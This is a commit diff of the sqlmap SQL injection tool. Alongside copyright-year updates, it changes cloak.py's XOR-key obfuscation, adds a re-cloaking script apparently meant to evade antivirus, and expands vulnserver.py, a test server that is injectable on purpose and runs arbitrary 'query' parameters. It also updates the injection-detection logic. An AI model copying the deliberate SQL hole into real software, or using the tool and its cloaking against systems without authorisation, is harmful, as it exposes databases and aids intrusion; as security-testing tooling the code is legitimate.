Instalação Instalação
---- ----
Você pode baixar o arquivo tar mais recente clicando [aqui] Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
beep.py - Make a beep sound beep.py - Make a beep sound
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
cloak.py - Simple file encryption/compression utility cloak.py - Simple file encryption/compression utility
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -19,28 +19,26 @@ from optparse import OptionParser
if sys.version_info >= (3, 0): if sys.version_info >= (3, 0):
xrange = range xrange = range
ord = lambda _: _
def hideAscii(data): KEY = b"MOZFqVjlk1CY436G"
retVal = b""
for i in xrange(len(data)):
value = data[i] if isinstance(data[i], int) else ord(data[i])
retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
return retVal def xor(message, key):
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
def cloak(inputFile=None, data=None): def cloak(inputFile=None, data=None):
if data is None: if data is None:
with open(inputFile, "rb") as f: with open(inputFile, "rb") as f:
data = f.read() data = f.read()
return hideAscii(zlib.compress(data)) return xor(zlib.compress(data), KEY)
def decloak(inputFile=None, data=None): def decloak(inputFile=None, data=None):
if data is None: if data is None:
with open(inputFile, "rb") as f: with open(inputFile, "rb") as f:
data = f.read() data = f.read()
try: try:
data = zlib.decompress(hideAscii(data)) data = zlib.decompress(xor(data, KEY))
except Exception as ex: except Exception as ex:
print(ex) print(ex)
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
def main(): def main():
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0] usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.1') parser = OptionParser(usage=usage, version='0.2')
try: try:
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt') parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
dbgtool.py - Portable executable to ASCII debug script converter dbgtool.py - Portable executable to ASCII debug script converter
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

Binary file not shown.

Binary file not shown.

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Removes trailing spaces from blank lines inside project files # Removes trailing spaces from blank lines inside project files

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Stress test against Python3 # Stress test against Python3

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env python #!/usr/bin/env python
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files # Removes duplicate entries in wordlist like files

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# sudo pip install modernize # sudo pip install modernize

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Runs py2diatra on all python files (prerequisite: pip install pydiatra) # Runs py2diatra on all python files (prerequisite: pip install pydiatra)

View File

@@ -1,7 +1,7 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; | grep -v "redefines '_'" find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'"

View File

@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -132,13 +132,13 @@ To get a list of basic options and switches use:
:: ::
python sqlmap.py -h sqlmap -h
To get a list of all options and switches use: To get a list of all options and switches use:
:: ::
python sqlmap.py -hh sqlmap -hh
You can find a sample run `here <https://asciinema.org/a/46601>`__. To You can find a sample run `here <https://asciinema.org/a/46601>`__. To
get an overview of sqlmap capabilities, list of supported features and get an overview of sqlmap capabilities, list of supported features and

16
extra/shutils/recloak.sh Executable file
View File

@@ -0,0 +1,16 @@
#!/bin/bash
# NOTE: this script is for dev usage after AV something something
DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
cd $DIR/../..
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
cd $DIR/../cloak
sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
cd $DIR/../..
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
git clean -f > /dev/null

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -16,8 +16,11 @@ import sys
import threading import threading
import traceback import traceback
if sys.version_info >= (3, 0): PY3 = sys.version_info >= (3, 0)
from http.client import FOUND UNICODE_ENCODING = "utf-8"
DEBUG = False
if PY3:
from http.client import INTERNAL_SERVER_ERROR from http.client import INTERNAL_SERVER_ERROR
from http.client import NOT_FOUND from http.client import NOT_FOUND
from http.client import OK from http.client import OK
@@ -29,7 +32,6 @@ if sys.version_info >= (3, 0):
else: else:
from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import BaseHTTPRequestHandler
from BaseHTTPServer import HTTPServer from BaseHTTPServer import HTTPServer
from httplib import FOUND
from httplib import INTERNAL_SERVER_ERROR from httplib import INTERNAL_SERVER_ERROR
from httplib import NOT_FOUND from httplib import NOT_FOUND
from httplib import OK from httplib import OK
@@ -82,6 +84,7 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
try: try:
HTTPServer.finish_request(self, *args, **kwargs) HTTPServer.finish_request(self, *args, **kwargs)
except Exception: except Exception:
if DEBUG:
traceback.print_exc() traceback.print_exc()
class ReqHandler(BaseHTTPRequestHandler): class ReqHandler(BaseHTTPRequestHandler):
@@ -96,15 +99,27 @@ class ReqHandler(BaseHTTPRequestHandler):
self.send_response(INTERNAL_SERVER_ERROR) self.send_response(INTERNAL_SERVER_ERROR)
self.send_header("Connection", "close") self.send_header("Connection", "close")
self.end_headers() self.end_headers()
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8")) self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
return return
if hasattr(self, "data"): if hasattr(self, "data"):
if self.data.startswith('{') and self.data.endswith('}'): if self.data.startswith('{') and self.data.endswith('}'):
params.update(json.loads(self.data)) params.update(json.loads(self.data))
elif self.data.startswith('<') and self.data.endswith('>'):
params.update(dict((_[0], _[1].replace("&apos;", "'").replace("&quot;", '"').replace("&lt;", '<').replace("&gt;", '>').replace("&amp;", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
else: else:
params.update(parse_qs(self.data)) params.update(parse_qs(self.data))
for name in self.headers:
params[name.lower()] = self.headers[name]
if "cookie" in params:
for part in params["cookie"].split(';'):
part = part.strip()
if '=' in part:
name, value = part.split('=', 1)
params[name.strip()] = unquote_plus(value.strip())
for key in params: for key in params:
if params[key] and isinstance(params[key], (tuple, list)): if params[key] and isinstance(params[key], (tuple, list)):
params[key] = params[key][-1] params[key] = params[key][-1]
@@ -112,35 +127,59 @@ class ReqHandler(BaseHTTPRequestHandler):
self.url, self.params = path, params self.url, self.params = path, params
if self.url == '/': if self.url == '/':
if "id" not in params:
self.send_response(FOUND) if not any(_ in self.params for _ in ("id", "query")):
self.send_header("Connection", "close")
self.send_header("Location", "/?id=1")
self.end_headers()
else:
self.send_response(OK) self.send_response(OK)
self.send_header("Content-type", "text/html") self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close") self.send_header("Connection", "close")
self.end_headers() self.end_headers()
self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
else:
code, output = OK, ""
try: try:
if self.params.get("echo", ""):
output += "%s<br>" % self.params["echo"]
with _lock: with _lock:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params.get("id", "")) if "query" in self.params:
_cursor.execute(self.params["query"])
elif "id" in self.params:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
results = _cursor.fetchall() results = _cursor.fetchall()
output = "<b>SQL results:</b>\n" output += "<b>SQL results:</b><br>\n"
if results:
output += "<table border=\"1\">\n" output += "<table border=\"1\">\n"
for row in results: for row in results:
output += "<tr>" output += "<tr>"
for value in row: for value in row:
output += "<td>%s</td>" % value output += "<td>%s</td>" % value
output += "</tr>\n" output += "</tr>\n"
output += "</table>\n" output += "</table>\n"
else:
output += "no results found"
output += "</body></html>" output += "</body></html>"
except Exception as ex: except Exception as ex:
code = INTERNAL_SERVER_ERROR
output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex) output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
self.wfile.write(output.encode("utf8")) self.send_response(code)
self.send_header("Content-type", "text/html")
self.send_header("Connection", "close")
if self.raw_requestline.startswith(b"HEAD"):
self.send_header("Content-Length", str(len(output)))
self.end_headers()
else:
self.end_headers()
self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
else: else:
self.send_response(NOT_FOUND) self.send_response(NOT_FOUND)
self.send_header("Connection", "close") self.send_header("Connection", "close")
@@ -149,12 +188,37 @@ class ReqHandler(BaseHTTPRequestHandler):
def do_GET(self): def do_GET(self):
self.do_REQUEST() self.do_REQUEST()
def do_PUT(self):
self.do_REQUEST()
def do_HEAD(self):
self.do_REQUEST()
def do_POST(self): def do_POST(self):
length = int(self.headers.get("Content-length", 0)) length = int(self.headers.get("Content-length", 0))
if length: if length:
data = self.rfile.read(length) data = self.rfile.read(length)
data = unquote_plus(data.decode("utf8")) data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
self.data = data self.data = data
elif self.headers.get("Transfer-encoding") == "chunked":
data, line = b"", b""
count = 0
while True:
line += self.rfile.read(1)
if line.endswith(b'\n'):
if count % 2 == 1:
current = line.rstrip(b"\r\n")
if not current:
break
else:
data += current
count += 1
line = b""
self.data = data.decode(UNICODE_ENCODING, "ignore")
self.do_REQUEST() self.do_REQUEST()
def log_message(self, format, *args): def log_message(self, format, *args):
@@ -164,7 +228,7 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
global _server global _server
try: try:
_server = ThreadingServer((address, port), ReqHandler) _server = ThreadingServer((address, port), ReqHandler)
print("[i] running HTTP server at '%s:%d'" % (address, port)) print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
_server.serve_forever() _server.serve_forever()
except KeyboardInterrupt: except KeyboardInterrupt:
_server.socket.close() _server.socket.close()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -54,6 +54,8 @@ def action():
conf.dumper.singleString(conf.dbmsHandler.getFingerprint()) conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
kb.fingerprinted = True
# Enumeration options # Enumeration options
if conf.getBanner: if conf.getBanner:
conf.dumper.banner(conf.dbmsHandler.getBanner()) conf.dumper.banner(conf.dbmsHandler.getBanner())
@@ -181,7 +183,10 @@ def action():
raise raise
if conf.sqlQuery: if conf.sqlQuery:
conf.dumper.sqlQuery(conf.sqlQuery, conf.dbmsHandler.sqlQuery(conf.sqlQuery)) for query in conf.sqlQuery.strip(';').split(';'):
query = query.strip()
if query:
conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
if conf.sqlShell: if conf.sqlShell:
conf.dbmsHandler.sqlShell() conf.dbmsHandler.sqlShell()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
from lib.core.common import hashDBRetrieve from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite from lib.core.common import hashDBWrite
from lib.core.common import intersect from lib.core.common import intersect
from lib.core.common import joinValue
from lib.core.common import listToStrValue from lib.core.common import listToStrValue
from lib.core.common import parseFilePaths from lib.core.common import parseFilePaths
from lib.core.common import popValue from lib.core.common import popValue
@@ -44,6 +45,7 @@ from lib.core.common import unArrayizeValue
from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseDBMSError
from lib.core.common import wasLastResponseHTTPError from lib.core.common import wasLastResponseHTTPError
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.convert import getBytes
from lib.core.convert import getUnicode from lib.core.convert import getUnicode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -52,6 +54,7 @@ from lib.core.datatype import AttribDict
from lib.core.datatype import InjectionDict from lib.core.datatype import InjectionDict
from lib.core.decorators import stackedmethod from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.dicts import HEURISTIC_NULL_EVAL
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HEURISTIC_TEST
@@ -95,6 +98,7 @@ from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import URI_HTTP_HEADER
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.request.comparison import comparison from lib.request.comparison import comparison
from lib.request.inject import checkBooleanExpression from lib.request.inject import checkBooleanExpression
@@ -153,7 +157,7 @@ def checkSqlInjection(place, parameter, value):
# payload), ask the user to limit the tests to the fingerprinted # payload), ask the user to limit the tests to the fingerprinted
# DBMS # DBMS
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
@@ -163,7 +167,7 @@ def checkSqlInjection(place, parameter, value):
# regardless of --level and --risk values provided # regardless of --level and --risk values provided
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "for the remaining tests, do you want to include all tests " msg = "for the remaining tests, do you want to include all tests "
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += "level (%d)" % conf.level if conf.level < 5 else "" msg += "level (%d)" % conf.level if conf.level < 5 else ""
msg += " and " if conf.level < 5 and conf.risk < 3 else "" msg += " and " if conf.level < 5 and conf.risk < 3 else ""
msg += "risk (%d)" % conf.risk if conf.risk < 3 else "" msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
@@ -497,12 +501,13 @@ def checkSqlInjection(place, parameter, value):
# Useful to set kb.matchRatio at first based on False response content # Useful to set kb.matchRatio at first based on False response content
kb.matchRatio = None kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE) kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
suggestion = None
Request.queryPage(genCmpPayload(), place, raise404=False) Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
falseRawResponse = "%s%s" % (falseHeaders, falsePage) falseRawResponse = "%s%s" % (falseHeaders, falsePage)
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter) # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
if not kb.negativeLogic: if not any((kb.negativeLogic, conf.string, conf.notString)):
try: try:
ratio = 1.0 ratio = 1.0
seqMatcher = getCurrentThreadData().seqMatcher seqMatcher = getCurrentThreadData().seqMatcher
@@ -517,8 +522,6 @@ def checkSqlInjection(place, parameter, value):
except (MemoryError, OverflowError): except (MemoryError, OverflowError):
pass pass
kb.prevFalsePage = falsePage
# Perform the test's True request # Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False) trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
@@ -566,7 +569,7 @@ def checkSqlInjection(place, parameter, value):
candidates = sorted(candidates, key=len) candidates = sorted(candidates, key=len)
for candidate in candidates: for candidate in candidates:
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH: if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
conf.string = candidate suggestion = conf.string = candidate
injectable = True injectable = True
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
@@ -577,7 +580,7 @@ def checkSqlInjection(place, parameter, value):
if injectable: if injectable:
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
if all((falseCode, trueCode)) and falseCode != trueCode: if all((falseCode, trueCode)) and falseCode != trueCode:
conf.code = trueCode suggestion = conf.code = trueCode
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code) infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
logger.info(infoMsg) logger.info(infoMsg)
@@ -599,10 +602,10 @@ def checkSqlInjection(place, parameter, value):
if candidates: if candidates:
candidates = sorted(candidates, key=len) candidates = sorted(candidates, key=len)
for candidate in candidates: for candidate in candidates:
if re.match(r"\A\w+\Z", candidate): if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
break break
conf.string = candidate suggestion = conf.string = candidate
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg) logger.info(infoMsg)
@@ -616,12 +619,12 @@ def checkSqlInjection(place, parameter, value):
if re.match(r"\A\w+\Z", candidate): if re.match(r"\A\w+\Z", candidate):
break break
conf.notString = candidate suggestion = conf.notString = candidate
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'")) infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
logger.info(infoMsg) logger.info(infoMsg)
if not any((conf.string, conf.notString, conf.code)): if not suggestion:
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
@@ -786,8 +789,12 @@ def checkSqlInjection(place, parameter, value):
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg) logger.info(infoMsg)
process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True) try:
process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
process.wait() process.wait()
except Exception as ex:
errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
logger.error(errMsg)
kb.alerted = True kb.alerted = True
@@ -876,12 +883,17 @@ def heuristicCheckDbms(injection):
for dbms in getPublicTypeMembers(DBMS, True): for dbms in getPublicTypeMembers(DBMS, True):
randStr1, randStr2 = randomStr(), randomStr() randStr1, randStr2 = randomStr(), randomStr()
Backend.forceDbms(dbms) Backend.forceDbms(dbms)
if conf.noEscape and dbms not in FROM_DUMMY_TABLE: if dbms in HEURISTIC_NULL_EVAL:
continue result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, "")))
elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1):
result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER))
else:
result = False
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)): if result:
